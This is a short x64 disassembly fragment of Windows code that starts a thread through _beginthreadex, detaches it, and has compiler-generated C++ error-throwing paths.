xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000a688
cmp dword [rbp - 0x18], 0
je 0x14000a67d
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14000a67d
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x18], ebx
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x18], ebx
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x18], ebx
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3